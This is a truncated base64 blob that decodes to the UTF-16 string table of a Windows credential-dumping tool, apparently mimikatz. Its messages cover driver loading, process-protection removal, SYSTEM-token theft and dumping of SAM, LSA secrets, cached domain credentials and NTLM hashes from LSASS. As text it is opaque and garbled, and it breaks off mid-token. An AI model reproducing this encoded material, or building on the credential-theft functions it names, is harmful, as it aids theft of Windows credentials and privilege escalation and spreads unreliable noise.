bACoAXQAgAG0AaQBtAGkAawBhAHQAegAgAGQAcgBpAHYAZQByACAAbgBvAHQAIABwAHIAZQBzAGUAbgB0AAoAAAAAAG0AaQBtAGkAawBhAHQAegAgAGQAcgBpAHYAZQByACAAKABtAGkAbQBpAGQAcgB2ACkAAABbACsAXQAgAG0AaQBtAGkAawBhAHQAegAgAGQAcgBpAHYAZQByACAAcwB1AGMAYwBlAHMAcwBmAHUAbABsAHkAIAByAGUAZwBpAHMAdABlAHIAZQBkAAoAAAAAAAAAAABbACsAXQAgAG0AaQBtAGkAawBhAHQAegAgAGQAcgBpAHYAZQByACAAQQBDAEwAIAB0AG8AIABlAHYAZQByAHkAbwBuAGUACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAbgBlAGwAXwBhAGQAZABfAG0AaQBtAGkAZAByAHYAIAA7ACAAawB1AGgAbABfAG0AXwBrAGUAcgBuAGUAbABfAGEAZABkAFcAbwByAGwAZABUAG8ATQBpAG0AaQBrAGEAdAB6ACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAG4AZQBsAF8AYQBkAGQAXwBtAGkAbQBpAGQAcgB2ACAAOwAgAEMAcgBlAGEAdABlAFMAZQByAHYAaQBjAGUAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAG4AZQBsAF8AYQBkAGQAXwBtAGkAbQBpAGQAcgB2ACAAOwAgAGsAdQBsAGwAXwBtAF8AZgBpAGwAZQBfAGkAcwBGAGkAbABlAEUAeABpAHMAdAAgACgAMAB4ACUAMAA4AHgAKQAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBuAGUAbABfAGEAZABkAF8AbQBpAG0AaQBkAHIAdgAgADsAIABrAHUAbABsAF8AbQBfAGYAaQBsAGUAXwBnAGUAdABBAGIAcwBvAGwAdQB0AGUAUABhAHQAaABPAGYAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAG4AZQBsAF8AYQBkAGQAXwBtAGkAbQBpAGQAcgB2ACAAOwAgAE8AcABlAG4AUwBlAHIAdgBpAGMAZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAWwArAF0AIABtAGkAbQBpAGsAYQB0AHoAIABkAHIAaQB2AGUAcgAgAHMAdABhAHIAdABlAGQACgAAAAAAAAAAAFsAKgBdACAAbQBpAG0AaQBrAGEAdAB6ACAAZAByAGkAdgBlAHIAIABhAGwAcgBlAGEAZAB5ACAAcwB0AGEAcgB0AGUAZAAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBuAGUAbABfAGEAZABkAF8AbQBpAG0AaQBkAHIAdgAgADsAIABTAHQAYQByAHQAUwBlAHIAdgBpAGMAZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBuAGUAbABfAGEAZABkAF8AbQBpAG0AaQBkAHIAdgAgADsAIABPAHAAZQBuAFMAQwBNAGEAbgBhAGcAZQByACgAYwByAGUAYQB0AGUAKQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAWwArAF0AIABtAGkAbQBpAGsAYQB0AHoAIABkAHIAaQB2AGUAcgAgAHMAdABvAHAAcABlAGQACgAAAAAAWwAqAF0AIABtAGkAbQBpAGsAYQB0AHoAIABkAHIAaQB2AGUAcgAgAG4AbwB0ACAAcgB1AG4AbgBpAG4AZwAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBuAGUAbABfAHIAZQBtAG8AdgBlAF8AbQBpAG0AaQBkAHIAdgAgADsAIABrAHUAbABsAF8AbQBfAHMAZQByAHYAaQBjAGUAXwBzAHQAbwBwACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAFsAKwBdACAAbQBpAG0AaQBrAGEAdAB6ACAAZAByAGkAdgBlAHIAIAByAGUAbQBvAHYAZQBkAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAG4AZQBsAF8AcgBlAG0AbwB2AGUAXwBtAGkAbQBpAGQAcgB2ACAAOwAgAGsAdQBsAGwAXwBtAF8AcwBlAHIAdgBpAGMAZQBfAHIAZQBtAG8AdgBlACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAFAAcgBvAGMAZQBzAHMAIAA6ACAAJQBzAAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAG4AZQBsAF8AcAByAG8AYwBlAHMAcwBQAHIAbwB0AGUAYwB0ACAAOwAgAGsAdQBsAGwAXwBtAF8AcAByAG8AYwBlAHMAcwBfAGcAZQB0AFAAcgBvAGMAZQBzAHMASQBkAEYAbwByAE4AYQBtAGUAIAAoADAAeAAlADAAOAB4ACkACgAAAHAAaQBkAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAbgBlAGwAXwBwAHIAbwBjAGUAcwBzAFAAcgBvAHQAZQBjAHQAIAA7ACAAQQByAGcAdQBtAGUAbgB0ACAALwBwAHIAbwBjAGUAcwBzADoAcAByAG8AZwByAGEAbQAuAGUAeABlACAAbwByACAALwBwAGkAZAA6AHAAcgBvAGMAZQBzAHMAaQBkACAAbgBlAGUAZABlAGQACgAAAAAAAAAAAFAASQBEACAAJQB1ACAALQA+ACAAJQAwADIAeAAvACUAMAAyAHgAIABbACUAMQB4AC0AJQAxAHgALQAlADEAeABdAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAbgBlAGwAXwBwAHIAbwBjAGUAcwBzAFAAcgBvAHQAZQBjAHQAIAA7ACAATgBvACAAUABJAEQACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAbgBlAGwAXwBwAHIAbwBjAGUAcwBzAFAAcgBvAHQAZQBjAHQAIAA7ACAAUAByAG8AdABlAGMAdABlAGQAIABwAHIAbwBjAGUAcwBzACAAbgBvAHQAIABhAHYAYQBpAGwAYQBiAGwAZQAgAGIAZQBmAG8AcgBlACAAVwBpAG4AZABvAHcAcwAgAFYAaQBzAHQAYQAKAAAAAABmAHIAbwBtAAAAAAB0AG8AAAAAAAAAAABUAG8AawBlAG4AIABmAHIAbwBtACAAcAByAG8AYwBlAHMAcwAgACUAdQAgAHQAbwAgAHAAcgBvAGMAZQBzAHMAIAAlAHUACgAAAAAAAAAAACAAKgAgAGYAcgBvAG0AIAAwACAAdwBpAGwAbAAgAHQAYQBrAGUAIABTAFkAUwBUAEUATQAgAHQAbwBrAGUAbgAKAAAAAAAAACAAKgAgAHQAbwAgADAAIAB3AGkAbABsACAAdABhAGsAZQAgAGEAbABsACAAJwBjAG0AZAAnACAAYQBuAGQAIAAnAG0AaQBtAGkAawBhAHQAegAnACAAcAByAG8AYwBlAHMAcwAKAAAAVABhAHIAZwBlAHQAIAA9ACAAMAB4ACUAcAAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAG4AZQBsAF8AbgBvAHQAaQBmAHkARwBlAG4AZQByAGkAYwBSAGUAbQBvAHYAZQAgADsAIABOAG8AIABhAGQAZAByAGUAcwBzAD8ACgAAAAAASwBlAHIAYgBlAHIAbwBzAC0ATgBlAHcAZQByAC0ASwBlAHkAcwAAAEsAZQByAGIAZQByAG8AcwAAAAAAVwBEAGkAZwBlAHMAdAAAAEMATABFAEEAUgBUAEUAWABUAAAAUAByAGkAbQBhAHIAeQAAAGsAZQByAG4AZQBsADMAMgAuAGQAbABsAAAAAABuAHQAZABsAGwALgBkAGwAbAAAAGwAcwBhAHMAcgB2AC4AZABsAGwAAAAAAHMAYQBtAHMAcgB2AC4AZABsAGwAAAAAAEQAYQB0AGEAAAAAAEcAQgBHAAAAUwBrAGUAdwAxAAAASgBEAAAAAABEAGUAZgBhAHUAbAB0AAAAQwB1AHIAcgBlAG4AdAAAAEEAcwBrACAATABTAEEAIABTAGUAcgB2AGUAcgAgAHQAbwAgAHIAZQB0AHIAaQBlAHYAZQAgAFMAQQBNAC8AQQBEACAAZQBuAHQAcgBpAGUAcwAgACgAbgBvAHIAbQBhAGwALAAgAHAAYQB0AGMAaAAgAG8AbgAgAHQAaABlACAAZgBsAHkAIABvAHIAIABpAG4AagBlAGMAdAApAAAAAABsAHMAYQAAAEcAZQB0ACAAdABoAGUAIABTAHkAcwBLAGUAeQAgAHQAbwAgAGQAZQBjAHIAeQBwAHQAIABOAEwAJABLAE0AIAB0AGgAZQBuACAATQBTAEMAYQBjAGgAZQAoAHYAMgApACAAKABmAHIAbwBtACAAcgBlAGcAaQBzAHQAcgB5ACAAbwByACAAaABpAHYAZQBzACkAAABjAGEAYwBoAGUAAABHAGUAdAAgAHQAaABlACAAUwB5AHMASwBlAHkAIAB0AG8AIABkAGUAYwByAHkAcAB0ACAAUwBFAEMAUgBFAFQAUwAgAGUAbgB0AHIAaQBlAHMAIAAoAGYAcgBvAG0AIAByAGUAZwBpAHMAdAByAHkAIABvAHIAIABoAGkAdgBlAHMAKQAAAAAAcwBlAGMAcgBlAHQAcwAAAEcAZQB0ACAAdABoAGUAIABTAHkAcwBLAGUAeQAgAHQAbwAgAGQAZQBjAHIAeQBwAHQAIABTAEEATQAgAGUAbgB0AHIAaQBlAHMAIAAoAGYAcgBvAG0AIAByAGUAZwBpAHMAdAByAHkAIABvAHIAIABoAGkAdgBlAHMAKQAAAAAAcwBhAG0AAABMAHMAYQBEAHUAbQBwACAAbQBvAGQAdQBsAGUAAAAAAGwAcwBhAGQAdQBtAHAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBzAGEAbQAgADsAIABDAHIAZQBhAHQAZQBGAGkAbABlACAAKABTAFkAUwBUAEUATQAgAGgAaQB2AGUAKQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAHMAYQBtACAAOwAgAEMAcgBlAGEAdABlAEYAaQBsAGUAIAAoAFMAQQBNACAAaABpAHYAZQApACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAFMAWQBTAFQARQBNAAAAAABTAEEATQAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAHMAYQBtACAAOwAgAGsAdQBsAGwAXwBtAF8AcgBlAGcAaQBzAHQAcgB5AF8AUgBlAGcATwBwAGUAbgBLAGUAeQBFAHgAIAAoAFMAQQBNACkAIAAoADAAeAAlADAAOAB4ACkACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAHMAZQBjAHIAZQB0AHMATwByAEMAYQBjAGgAZQAgADsAIABDAHIAZQBhAHQAZQBGAGkAbABlACAAKABTAEUAQwBVAFIASQBUAFkAIABoAGkAdgBlACkAIAAoADAAeAAlADAAOAB4ACkACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AcwBlAGMAcgBlAHQAcwBPAHIAQwBhAGMAaABlACAAOwAgAEMAcgBlAGEAdABlAEYAaQBsAGUAIAAoAFMAWQBTAFQARQBNACAAaABpAHYAZQApACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAFMARQBDAFUAUgBJAFQAWQAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AcwBlAGMAcgBlAHQAcwBPAHIAQwBhAGMAaABlACAAOwAgAGsAdQBsAGwAXwBtAF8AcgBlAGcAaQBzAHQAcgB5AF8AUgBlAGcATwBwAGUAbgBLAGUAeQBFAHgAIAAoAFMARQBDAFUAUgBJAFQAWQApACAAKAAwAHgAJQAwADgAeAApAAoAAABDAG8AbgB0AHIAbwBsAFMAZQB0ADAAMAAwAAAAUwBlAGwAZQBjAHQAAAAAACUAMAAzAHUAAAAAACUAeAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZwBlAHQAUwB5AHMAawBlAHkAIAA7ACAATABTAEEAIABLAGUAeQAgAEMAbABhAHMAcwAgAHIAZQBhAGQAIABlAHIAcgBvAHIACgAAAAAARABvAG0AYQBpAG4AIAA6ACAAAAAAAAAAQwBvAG4AdAByAG8AbABcAEMAbwBtAHAAdQB0AGUAcgBOAGEAbQBlAFwAQwBvAG0AcAB1AHQAZQByAE4AYQBtAGUAAABDAG8AbQBwAHUAdABlAHIATgBhAG0AZQAAAAAAJQBzAAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBnAGUAdABDAG8AbQBwAHUAdABlAHIAQQBuAGQAUwB5AHMAawBlAHkAIAA7ACAAawB1AGwAbABfAG0AXwByAGUAZwBpAHMAdAByAHkAXwBSAGUAZwBRAHUAZQByAHkAVgBhAGwAdQBlAEUAeAAgAEMAbwBtAHAAdQB0AGUAcgBOAGEAbQBlACAASwBPAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBnAGUAdABDAG8AbQBwAHUAdABlAHIAQQBuAGQAUwB5AHMAawBlAHkAIAA7ACAAcAByAGUAIAAtACAAawB1AGwAbABfAG0AXwByAGUAZwBpAHMAdAByAHkAXwBSAGUAZwBRAHUAZQByAHkAVgBhAGwAdQBlAEUAeAAgAEMAbwBtAHAAdQB0AGUAcgBOAGEAbQBlACAASwBPAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGcAZQB0AEMAbwBtAHAAdQB0AGUAcgBBAG4AZABTAHkAcwBrAGUAeQAgADsAIABrAHUAbABsAF8AbQBfAHIAZQBnAGkAcwB0AHIAeQBfAFIAZQBnAE8AcABlAG4ASwBlAHkARQB4ACAAQwBvAG0AcAB1AHQAZQByAE4AYQBtAGUAIABLAE8ACgAAAFMAeQBzAEsAZQB5ACAAOgAgAAAAQwBvAG4AdAByAG8AbABcAEwAUwBBAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZwBlAHQAQwBvAG0AcAB1AHQAZQByAEEAbgBkAFMAeQBzAGsAZQB5ACAAOwAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGcAZQB0AFMAeQBzAGsAZQB5ACAASwBPAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBnAGUAdABDAG8AbQBwAHUAdABlAHIAQQBuAGQAUwB5AHMAawBlAHkAIAA7ACAAawB1AGwAbABfAG0AXwByAGUAZwBpAHMAdAByAHkAXwBSAGUAZwBPAHAAZQBuAEsAZQB5AEUAeAAgAEwAUwBBACAASwBPAAoAAAAAAFMAQQBNAFwARABvAG0AYQBpAG4AcwBcAEEAYwBjAG8AdQBuAHQAAABVAHMAZQByAHMAAABOAGEAbQBlAHMAAAAKAFIASQBEACAAIAA6ACAAJQAwADgAeAAgACgAJQB1ACkACgAAAAAAVgAAAFUAcwBlAHIAIAA6ACAAJQAuACoAcwAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZwBlAHQAVQBzAGUAcgBzAEEAbgBkAFMAYQBtAEsAZQB5ACAAOwAgAGsAdQBsAGwAXwBtAF8AcgBlAGcAaQBzAHQAcgB5AF8AUgBlAGcAUQB1AGUAcgB5AFYAYQBsAHUAZQBFAHgAIABWACAASwBPAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGcAZQB0AFUAcwBlAHIAcwBBAG4AZABTAGEAbQBLAGUAeQAgADsAIABwAHIAZQAgAC0AIABrAHUAbABsAF8AbQBfAHIAZQBnAGkAcwB0AHIAeQBfAFIAZQBnAFEAdQBlAHIAeQBWAGEAbAB1AGUARQB4ACAAVgAgAEsATwAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZwBlAHQAVQBzAGUAcgBzAEEAbgBkAFMAYQBtAEsAZQB5ACAAOwAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGcAZQB0AEsAZQAgAEsATwAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGcAZQB0AFUAcwBlAHIAcwBBAG4AZABTAGEAbQBLAGUAeQAgADsAIABrAHUAbABsAF8AbQBfAHIAZQBnAGkAcwB0AHIAeQBfAFIAZQBnAE8AcABlAG4ASwBlAHkARQB4ACAAUwBBAE0AIABBAGMAYwBvAHUAbgB0AHMAIAAoADAAeAAlADAAOAB4ACkACgAAAAAATgBUAEwATQAAAAAATABNACAAIAAAAAAAJQBzACAAOgAgAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZwBlAHQASABhAHMAaAAgADsAIABSAHQAbABEAGUAYwByAHkAcAB0AEQARQBTADIAYgBsAG8AYwBrAHMAMQBEAFcATwBSAEQAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZwBlAHQASABhAHMAaAAgADsAIABSAHQAbABFAG4AYwByAHkAcAB0AEQAZQBjAHIAeQBwAHQAQQBSAEMANAAAAAAACgBTAEEATQBLAGUAeQAgADoAIAAAAAAARgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGcAZQB0AFMAYQBtAEsAZQB5ACAAOwAgAFIAdABsAEUAbgBjAHIAeQBwAHQARABlAGMAcgB5AHAAdABBAFIAQwA0ACAASwBPAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGcAZQB0AFMAYQBtAEsAZQB5ACAAOwAgAGsAdQBsAGwAXwBtAF8AcgBlAGcAaQBzAHQAcgB5AF8AUgBlAGcAUQB1AGUAcgB5AFYAYQBsAHUAZQBFAHgAIABGACAASwBPAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGcAZQB0AFMAYQBtAEsAZQB5ACAAOwAgAHAAcgBlACAALQAgAGsAdQBsAGwAXwBtAF8AcgBlAGcAaQBzAHQAcgB5AF8AUgBlAGcAUQB1AGUAcgB5AFYAYQBsAHUAZQBFAHgAIABGACAASwBPAAAAUABvAGwAaQBjAHkAAAAAAFAAbwBsAFIAZQB2AGkAcwBpAG8AbgAAAAoAUABvAGwAaQBjAHkAIABzAHUAYgBzAHkAcwB0AGUAbQAgAGkAcwAgADoAIAAlAGgAdQAuACUAaAB1AAoAAABQAG8AbABFAEsATABpAHMAdAAAAFAAbwBsAFMAZQBjAHIAZQB0AEUAbgBjAHIAeQBwAHQAaQBvAG4ASwBlAHkAAAAAAEwAUwBBACAASwBlAHkAKABzACkAIAA6ACAAJQB1ACwAIABkAGUAZgBhAHUAbAB0ACAAAAAgACAAWwAlADAAMgB1AF0AIAAAACAAAABMAFMAQQAgAEsAZQB5ACAAOgAgAAAAAABTAGUAYwByAGUAdABzAAAAcwBlAHIAdgBpAGMAZQBzAAAAAAAKAFMAZQBjAHIAZQB0ACAAIAA6ACAAJQBzAAAAXwBTAEMAXwAAAAAAQwB1AHIAcgBWAGEAbAAAAAoAYwB1AHIALwAAAE8AbABkAFYAYQBsAAAAAAAKAG8AbABkAC8AAABTAGUAYwByAGUAdABzAFwATgBMACQASwBNAFwAQwB1AHIAcgBWAGEAbAAAAEMAYQBjAGgAZQAAAE4ATAAkAEkAdABlAHIAYQB0AGkAbwBuAEMAbwB1AG4AdAAAACoAIABOAEwAJABJAHQAZQByAGEAdABpAG8AbgBDAG8AdQBuAHQAIABpAHMAIAAlAHUALAAgACUAdQAgAHIAZQBhAGwAIABpAHQAZQByAGEAdABpAG8AbgAoAHMAKQAKAAAAAAAqACAARABDAEMAMQAgAG0AbwBkAGUAIAAhAAoAAAAAAAAAAAAqACAASQB0AGUAcgBhAHQAaQBvAG4AIABpAHMAIABzAGUAdAAgAHQAbwAgAGQAZQBmAGEAdQBsAHQAIAAoADEAMAAyADQAMAApAAoAAAAAAE4ATAAkAEMAbwBuAHQAcgBvAGwAAAAAAAoAWwAlAHMAIAAtACAAAABdAAoAUgBJAEQAIAAgACAAIAAgACAAIAA6ACAAJQAwADgAeAAgACgAJQB1ACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGcAZQB0AE4ATABLAE0AUwBlAGMAcgBlAHQAQQBuAGQAQwBhAGMAaABlACAAOwAgAEMAcgB5AHAAdABEAGUAYwByAHkAcAB0ACAAKAAwAHgAJQAwADgAeAApAAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBnAGUAdABOAEwASwBNAFMAZQBjAHIAZQB0AEEAbgBkAEMAYQBjAGgAZQAgADsAIABDAHIAeQBwAHQAUwBlAHQASwBlAHkAUABhAHIAYQBtACAAKAAwAHgAJQAwADgAeAApAAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBnAGUAdABOAEwASwBNAFMAZQBjAHIAZQB0AEEAbgBkAEMAYQBjAGgAZQAgADsAIABDAHIAeQBwAHQASQBtAHAAbwByAHQASwBlAHkAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBnAGUAdABOAEwASwBNAFMAZQBjAHIAZQB0AEEAbgBkAEMAYQBjAGgAZQAgADsAIABSAHQAbABFAG4AYwByAHkAcAB0AEQAZQBjAHIAeQBwAHQAUgBDADQAIAA6ACAAMAB4ACUAMAA4AHgACgAAAFUAcwBlAHIAIAAgACAAIAAgACAAOgAgACUALgAqAHMAXAAlAC4AKgBzAAoAAAAAAE0AcwBDAGEAYwBoAGUAVgAlAGMAIAA6ACAAAABPAGIAagBlAGMAdABOAGEAbQBlAAAAAAAAAAAAIAAvACAAcwBlAHIAdgBpAGMAZQAgACcAJQBzACcAIAB3AGkAdABoACAAdQBzAGUAcgBuAGEAbQBlACAAOgAgACUAcwAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZABlAGMAcgB5AHAAdABTAGUAYwByAGUAdAAgADsAIABrAHUAbABsAF8AbQBfAHIAZQBnAGkAcwB0AHIAeQBfAFIAZQBnAFEAdQBlAHIAeQBWAGEAbAB1AGUARQB4ACAAUwBlAGMAcgBlAHQAIAB2AGEAbAB1AGUAIABLAE8ACgAAACQATQBBAEMASABJAE4ARQAuAEEAQwBDAAAAAABOAFQATABNADoAAAAvAAAAdABlAHgAdAA6ACAAJQB3AFoAAABoAGUAeAAgADoAIAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAHMAZQBjAF8AYQBlAHMAMgA1ADYAIAA7ACAAQwByAHkAcAB0AEQAZQBjAHIAeQBwAHQAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAHMAZQBjAF8AYQBlAHMAMgA1ADYAIAA7ACAAQwByAHkAcAB0AEkAbQBwAG8AcgB0AEsAZQB5ACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAFNhbUlDb25uZWN0AFNhbXJDbG9zZUhhbmRsZQBTYW1JUmV0cmlldmVQcmltYXJ5Q3JlZGVudGlhbHMAAFNhbXJPcGVuRG9tYWluAABTYW1yT3BlblVzZXIAAAAAU2FtclF1ZXJ5SW5mb3JtYXRpb25Vc2VyAAAAAFNhbUlGcmVlX1NBTVBSX1VTRVJfSU5GT19CVUZGRVIATHNhSVF1ZXJ5SW5mb3JtYXRpb25Qb2xpY3lUcnVzdGVkAAAATHNhSUZyZWVfTFNBUFJfUE9MSUNZX0lORk9STUFUSU9OAAAAVmlydHVhbEFsbG9jAAAAAExvY2FsRnJlZQAAAG1lbWNweQAAcABhAHQAYwBoAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AbABzAGEAIAA7ACAAawB1AGwAbABfAG0AXwBwAGEAdABjAGgAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBsAHMAYQAgADsAIABrAHUAbABsAF8AbQBfAHAAcgBvAGMAZQBzAHMAXwBnAGUAdABWAGUAcgB5AEIAYQBzAGkAYwBNAG8AZAB1AGwAZQBJAG4AZgBvAHIAbQBhAHQAaQBvAG4AcwBGAG8AcgBOAGEAbQBlACAAKAAwAHgAJQAwADgAeAApAAoAAABpAG4AagBlAGMAdAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGwAcwBhACAAOwAgAGsAdQBsAGwAXwBtAF8AcgBlAG0AbwB0AGUAbABpAGIAXwBDAHIAZQBhAHQAZQBSAGUAbQBvAHQAZQBDAG8AZABlAFcAaQB0AHQAaABQAGEAdAB0AGUAcgBuAFIAZQBwAGwAYQBjAGUACgAAAAAARABvAG0AYQBpAG4AIAA6ACAAJQB3AFoAIAAvACAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AbABzAGEAIAA7ACAAUwBhAG0ATABvAG8AawB1AHAASQBkAHMASQBuAEQAbwBtAGEAaQBuACAAJQAwADgAeAAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGwAcwBhACAAOwAgACcAJQBzACcAIABpAHMAIABuAG8AdAAgAGEAIAB2AGEAbABpAGQAIABJAGQACgAAAAAAbgBhAG0AZQAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGwAcwBhACAAOwAgAFMAYQBtAEwAbwBvAGsAdQBwAE4AYQBtAGUAcwBJAG4ARABvAG0AYQBpAG4AIAAlADAAOAB4AAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBsAHMAYQAgADsAIABTAGEAbQBFAG4AdQBtAGUAcgBhAHQAZQBVAHMAZQByAHMASQBuAEQAbwBtAGEAaQBuACAAJQAwADgAeAAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBsAHMAYQAgADsAIABTAGEAbQBPAHAAZQBuAEQAbwBtAGEAaQBuACAAJQAwADgAeAAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBsAHMAYQAgADsAIABTAGEAbQBDAG8AbgBuAGUAYwB0ACAAJQAwADgAeAAKAAAAUwBhAG0AUwBzAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGwAcwBhAF8AZwBlAHQASABhAG4AZABsAGUAIAA7ACAATwBwAGUAbgBQAHIAbwBjAGUAcwBzACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGwAcwBhAF8AZwBlAHQASABhAG4AZABsAGUAIAA7ACAAawB1AGwAbABfAG0AXwBzAGUAcgB2AGkAYwBlAF8AZwBlAHQAVQBuAGkAcQB1AGUARgBvAHIATgBhAG0AZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAKAFIASQBEACAAIAA6ACAAJQAwADgAeAAgACgAJQB1ACkACgBVAHMAZQByACAAOgAgACUAdwBaAAoAAABMAE0AIAAgACAAOgAgAAAACgBOAFQATABNACAAOgAgAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBsAHMAYQBfAHUAcwBlAHIAIAA7ACAAUwBhAG0AUQB1AGUAcgB5AEkAbgBmAG8AcgBtAGEAdABpAG8AbgBVAHMAZQByACAAJQAwADgAeAAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGwAcwBhAF8AdQBzAGUAcgAgADsAIABTAGEAbQBPAHAAZQBuAFUAcwBlAHIAIAAlADAAOAB4AAoAAAB1AG4AawBuAG8AdwBuAAAACgAgACoAIAAlAHMACgAAACAAIAAgACAATABNACAAIAAgADoAIAAAAAoAIAAgACAAIABOAFQATABNACAAOgAgAAAAAAAgACAAIAAgACUALgAqAHMACgAAACAAIAAgACAAJQAwADIAdQAgACAAAAAAACAAIAAgACAARABlAGYAYQB1AGwAdAAgAFMAYQBsAHQAIAA6ACAAJQAuACoAcwAKAAAAAABDAHI